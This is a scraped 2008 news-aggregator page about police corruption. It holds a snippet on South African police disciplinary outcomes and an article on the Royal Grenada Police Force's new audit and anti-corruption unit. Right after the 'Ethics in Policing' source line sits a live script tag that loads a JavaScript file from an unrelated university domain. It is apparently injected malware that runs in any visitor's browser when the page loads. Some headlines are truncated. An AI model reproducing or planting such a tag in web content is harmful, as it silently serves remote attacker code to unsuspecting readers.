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NEWS > 08 October 2008

Other related articles:

Police 'much more stable' desp
Many corrupt police officials believe nothing serious will happen to them if they are caught -- and police corruption often goes unchecked because neither the corruptee, or bribe payer, nor the official involved will report it.

According to figures in the South African Police Service's (SAPS) 2003/04 annual report, almost 50% of formal disciplinary hearings resulted in no sanctions against the accused officers. Though not all these hearings related to corruption, these figures give rise to the perception that "absolutely nothing" will happen to police officers involved in corruption... Read more

 Article sourced from

Ethics in Policing<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
Caribbean Net News - Georgetow
08 October 2008
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Ethics in Policing

Grenada: Anti corruption unit

A department of Audit, Research and Development is to be established within the Royal Grenada Police Force. The Department will become fully operational by November 1, 2008.

According to Troy Garvey, Communications Specialists for the Force, the primary function of the department is to audit and regulate all operational functions of the Force, ensuring consistency with policy guidelines and procedures.

The department will also influence development and improvement in the overall quality of service delivered by the Force through in-depth research and effective management controls.

Caribbean Net News understands that the department will be headed by Superintendent Jessmon Prince, former head of the Immigration Department.

An Anti Corruption Unit will also form part of the Audit department, with a specific mandate to urgently respond to and eventually eliminate all forms of corruption and misconduct within the ranks of the Royal Grenada Police Force.

This unit will closely monitor the handling court exhibits including monies and drugs, and establish a conduit through which members of the public aggrieved by police officers can seek redress and appropriate action.
 

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